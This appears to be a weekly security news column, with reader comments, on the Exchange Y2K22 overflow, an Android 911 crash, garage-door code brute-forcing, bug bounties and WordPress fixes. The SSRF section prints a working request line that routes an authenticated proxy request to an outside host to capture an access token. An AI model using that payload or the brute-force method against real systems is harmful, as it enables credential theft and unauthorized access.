If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!
Android 911 Denial of Service
Dialing 911 for emergency services is pretty much the worst time for a software bug to manifest itself. Google just fixed such a bug in the January Android update. It’s one of those odd unintended app interactions — in this case Microsoft Teams triggering the Android bug. If the Teams app is installed, but no account logged in, Teams creates and registers a new PhoneAccount object on every launch. This sounds like it should be rare, but Teams on Android is also notorious for logging out the user spontaneously. When you dial 911, Android runs a routine to determine which PhoneAccount should be used to route the call, and solves ties by comparing hashes. That comparison is just a naive subtraction, meaning that there’s a 50% chance in getting a negative result. This was unanticipated, leading to the crash.
Garage Door Reverse Engineering
Reverse engineering a 30-year-old wireless authorization scheme may not be the most attention grabbing feat, but sometimes the journey is its own reward. [Maxwell Dulin] brings us the story, and this journey is certainly worth it. The fundamentals of this hack are definitely still viable, starting with looking at the hardware. The garage door is synced to the garage door opener by holding a pushbutton on the receiver while sending a code. Inside the opener, there are nine dip switches, each with three positions. What do they do? He pulled out his trusty SDR to grab the traffic and try to decode the signals. Inspectrum and GNU Radio were the heroes here, giving insight into this simple auth scheme. The conclusion on this actual garage door? You can brute force an unknown code by sending every possible combo, and it only takes 104 minutes.
BugAlert
If you’re a sysadmin, you know that some problems call for immediate action. If you ran Java servers, the Log4J vulnerability was a fire test of your response protocol. The time between public disclosure and whenever you heard about it, may have been enough to trigger disaster. While there are multiple bug reporting services and frameworks, nothing quite fits this niche use case: notifying you as soon as possible that your hair may truly be on fire. That unfilled niche bugged [Matthew Sullivan], who has announced a new project, Bug Alert. It’s all open source, so you can host your own instance if you really want to. You can opt to get a tweet, text, or even phone call. This has the potential to be a useful tool, take a look!
I feel like I need to make Bug Alert trigger a certain Weird Al song…
The Zombie SSRF
[David Schütz] was searching for obscure Google APIs, and discovered jobs.googleapis.com, which you can demo yourself. That demo is interesting, because it’s not a fully fleshed-out service, but talks to the real back-end. The requests go through a proxy, cxl-services.appspot.com, which handles the authentication step for the demo page. If he could trigger a Server-Side Request Forgery (SSRF), he might be able to get at the authenticated requests, and maybe trick the proxy into sending traffic on his behalf. URL parsing is hard. The trick that worked? A backslash in the url. GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1
With an access token in hand, [David] started carefully exploring other Google APIs to see what this token gave him access to. He gives the warning we’ve covered before, be careful how far you push. He could have reported the bug right away, but wanted to confirm that he actually had a live access token. After confirming the token worked for read access, he turned in the finding, and netted a very nice $3133.70, as well as an extra $1000 for a good report and the careful look at lateral movement. That’s all there is to it, right? Nope. Just before the 90 day disclosure deadline passed, [David] discovered a fix bypass. Adding any text between the backslash and @ was enough to break it. Another $3133.70. Just for fun, he probed the old URLs, that shouldn’t be in service after the fix. Yep, he found yet another security token, and netted $3133.70. This Zombie SSRF still isn’t dead, as evidenced on Twitter:
I told you, its unfixable! @n1nj4sec already bypassed the fix. So cool! Will you be the 4th one to bypass it and get $3k? 😎 Parsing a URL is really hard. pic.twitter.com/5xmg5tbybw
— David Schütz (@xdavidhu) January 2, 2022
WordPress Update
If you haven’t set your WordPress instance to update automatically, it’s time to go check for the latest version. There are four potentially dangerous issues here, though the details are scarce at this point. First up is a Cross-Site Scripting vulnerability in post slugs, the part of the URL that matches the post name. The second issue mentioned is object injection in some multisite configurations. The last two vulnerabilities are SQL injections, definitely worthy of the “What Year is It?” meme.
The Y2K22 is probably the dumbest, moronic, self-inflicted pain that Microsoft has published lately. How is it EVEN possible ? WHO wrote that piece of code ?
The best is the solution. To keep incrementing the days, pretending that it’s still 2021 until they can work out a real fix.
Happy Dec 38, 2021!
(Note: Workaround expires on Dec 99th.)
Other questions: Why did they use a signed integer for a date? Is this evidence that MS has a time machine?
Nope, it will work up to ninetysevenber 99th :)
Oh, well that’s reassuring.
(Makes sense, you mre right!)
😂
Makes as much sense as December being the 12th month… 😭
Yeah, silly Microsoft making up senseless month naming schemes.
It’s as if they don’t want 2021 to end… I’ll be happy to see 2030… then we can stop saying twenty-twenty- to describe the year. This decade has been a prick… literally!
But then twenty-thirty-one comes after that
This century is truly marvelous, isn’t it?
I’d bet in the source code of that bug somewhere there is a developer note/comment about “an ugly hack” that “needs to be addressed” at some point…. :-)
And then the intern went to work for another nameless company and his server account got flushed with all the “todo”s
It’s only possible if the rot and corruption has also infiltrated quality control, it’s pretty clear that there is almost no QA support for the single most important piece of software on the entire internet. The bug reports look like ones from brand new untested software but the product should be very mature after so many years.
FYI: The current MS CEO fired most of the QA staff when he took the reigns.
Like the old sysadmin conundrum: the system is working, why are we paying you? / The system is down, why are we paying you?
+1
A few years ago HPE Drive fail at 32768 hours without firmware update. Because someone forgot to set integer type and signed integer ended at under 4 years rather than unsigned integer.
Bugs happen and if there’s no independent examination of codes, bug will go unnoticed until it’s triggered
There’s a lovely variant for the Y2K22 bug that breaks the clock in old Honda GPS systems. My 06 civic now permanently reads Jan 1 1PM 2002. As some one who is annoyed if a clock is even a few minutes out it was a wonderful surprise for the new year.
Yeah, apparently, the value for the date is transmitted in a format where weeks are assigned 10 bits – therefore 0 thru 1023.
The people who made the system assumed that the people who made the receivers would be able to gracefully handle a once-in-20 years rollover event without ambiguity.
Apparently, some of them did not read the data sheet
What datasheet ? :-D
Doesn’t Y2K22 mean the year 2.22k = 2220? Seems there is a bug in the name as well.
nope. From recollection years assume the roman numeral system (kind of) and the 22 is added to the 2K, realistically it should be MMXXII but that means nothing to a great many people.
Step away from the calendar before you injure yourself. These things should only be handled by professionals.
Like the professionals at Microsoft? =)
bazinga.
If MS Exchange was open source, I would suggest that one pair of all those (amateur or professional ) eyes on the code would have found and fixed the bug a long time ago.
Not necessarily, think heartbleed, Grafana, log4j…
hmm… those are vulnerabilities, not simple bugs as the MS Exchange example is.
Critical services handling like 911 is also a nightmare to test. You can’t do test calls to the real emergency line, and any mocking you might do at any level could potentially mask a bug with really high impact.
It’s easy enough to set up dummy gear and change the clock but apparently Microsoft doesn’t have the resources to do this sort of testing.
This time it really wasn’t Microsoft’s fault (shocking, I know).
It’s pretty standard to make test calls to the real emergency line. Operators know how to handle it. One of my many hats is telecom guy for hotels, and we have to make a 911 test call any time we switch voice providers.
What makes you think you can’t make test calls to the real emergency line? All you have to do is contact them through a non-emergency method and set up a time, then during the test make sure you’re stating that each call is part of the test.
You can totally place test calls to the emergency services.
It typically starts with “Hi, I’m teaching my [son/daughter/scout pack/first aid course] to make emergency calls. Is now a good time?”
However, your point stands in this case – it’s hard to see that a test plan would have a test case for “if you’ve got a buggy version of teams for android installed and it crashed recently and you’re not logged in and you roll unlucky, can you place an emergency call?” As realistically even knowing this bug exists you’d need to make a dozen or so calls to confirm it’s gone. Include that in your CI tests and you’ve DOS’d 911!
I would have thought that the moment they answer, state that you’ve just reconfigured a telephone system and are checking that the emergency line is still reachable would suffice.
The number of times my old Nokia 3310 pocket-dialled 000 (Australia emergency number) or 112 (which is the GSM-standard emergency number), I’ve lost count. The 000 call centre weren’t bothered, just explained the accidental misdial and got off the line. Keypad lock didn’t work here because the Nokia firmware ignores the lock for those numbers, and both those numbers are easily misdialled through pocket-jostling.
Regarding the MS Exchange bug.
“This string gets converted to a signed long integer”
Not quite correct and a significant as it points out a major class of bugs of similar type in C/C++ .
To be specific the culprit integer type was a signed 32 bit integer rather than a signed long integer, which may be 32 bits or greater. Of course in C/C++, int and long are builtin types of varying size dependent on many factors with very loose conversions between each other, so even if you use a typedef specifying the size it is easy to get caught out, as you move between different architectures and compilers/ compiler versions, libraries, compiler settings etc. Worse you may specify a 64 bit int result but which has already been quietly converted to 32 bits in some intermediate step.
That’s why using the stdint.h/ header is a Good Thing. It lets you keep architecture dependency out of your own code, leaving the typedef details to the specific compiler/architecture that you are using. You should still be suspicous of hidden conversions, but the bigger problem is assuming the size of int/short/long/etc. between different architectures and compilers.
Of course it is still possible that you may get more bits than you asked for on specific weird architectures. And there are times (like loop counters) that I will use plain native “int”, because some architectures could need extra code to enforce smaller sizes, and it feels excessive to specify a size. Architectures where int is smaller than int16_t will be weird oddballs, while int smaller than int32_t is rare outside of small microcontrollers and vintage hardware.
unsigned longwould buy them a few years.Garage door technology was updated decades ago to eliminate the insecurities of the old 9-bit (512 possibilities) fixed-code transmitters with rolling code (which has its own issues but I digress). Not that there aren’t more than a casual handful of old openers out in the big, bad world (would also apply to gate openers as well as other applications), but this news story is a lot like saying you installed Windows 98 on your PC from the original floppies, disabled any updates from the server (reminder: check if that server is still online), and are surprised when your PC becomes part of a botnet.
Back in the day there were plenty of geeks setting their remote code to 001101001…
I told you this wasnt fixed properly, ages ago, find my (fumthings) youtube video on the bug y2.01k btw shouldnt that read y2.022k …
“Teams on Android is also notorious for logging out the user spontaneously”
Teams on Windows is also notorious for logging out the user spontaneously. Seriously, Microsoft needs to fix the Teams spontaneously logging out the user and requiring Teams to completely restart to log back in. It’s a nightmare for people forced to use Teams for work.
Xilinx Vivado in the FPGA world has a very similar bug in that the date is stored as a 32 bit signed integer. This meant that it would not compile in IP blocks after the computer date changed Dec 31, 2021. Fortunately, it looks like they posted a fix for it. But really, as was asked before, why is it a signed integer?
One reason for using signed rather than unsigned is so you can return a negative number to signify an error condition. I don’t say it is a great idea (especially if you don’t check the return value :0), but it is quite common practice..
0 would work, unless you can point to a year that had a zero-th month & day.
Negative years may be valid apparently
https://www.w3.org/TR/2004/REC-xmlschema-2-20041028/#gYear
and 0 years invalid
https://www.w3.org/TR/2004/REC-xmlschema-2-20041028/#noYearZero
though of course I have no idea if those type specs were being adhered to in the above issue.
Negative might refer to BCE (Before Common Era)… but why would Microsoft release an Exchange update that’s dated earlier than 1996 (when it was first released), let alone multiple millenniums ago?
Great. Teams can block 911. That’s Mickeysoft for yah, blue screen of death indeed!
Thanks for the warning!